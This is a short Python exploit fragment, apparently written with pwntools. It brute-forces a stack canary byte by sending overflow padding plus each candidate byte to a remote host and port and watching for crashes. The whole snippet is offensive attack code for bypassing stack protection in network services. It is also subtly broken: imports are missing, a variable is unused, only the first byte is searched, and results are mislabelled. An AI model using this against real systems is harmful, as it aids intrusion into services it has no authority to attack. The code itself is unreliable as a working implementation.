# bruteforce canary values
def brute_force_canary(host, port, overflow_len):
    junk = "A" * (overflow_len - 1)
    buffer = junk
    for b in range(0, 256):
        test_byte = struct.pack("B", b)
        test_buf = junk + test_byte
        print(test_buf)
        # open process and test buffer
        p = remote(host, port)
        p.recvline(timeout=1)
        try:
            p.send(test_buf)
            rec = p.recvline(timeout=1)
            print("Canary #{0}: {1}".format(1, b))
        except EOFError:
            print("Tested: {0}".format(b))
            continue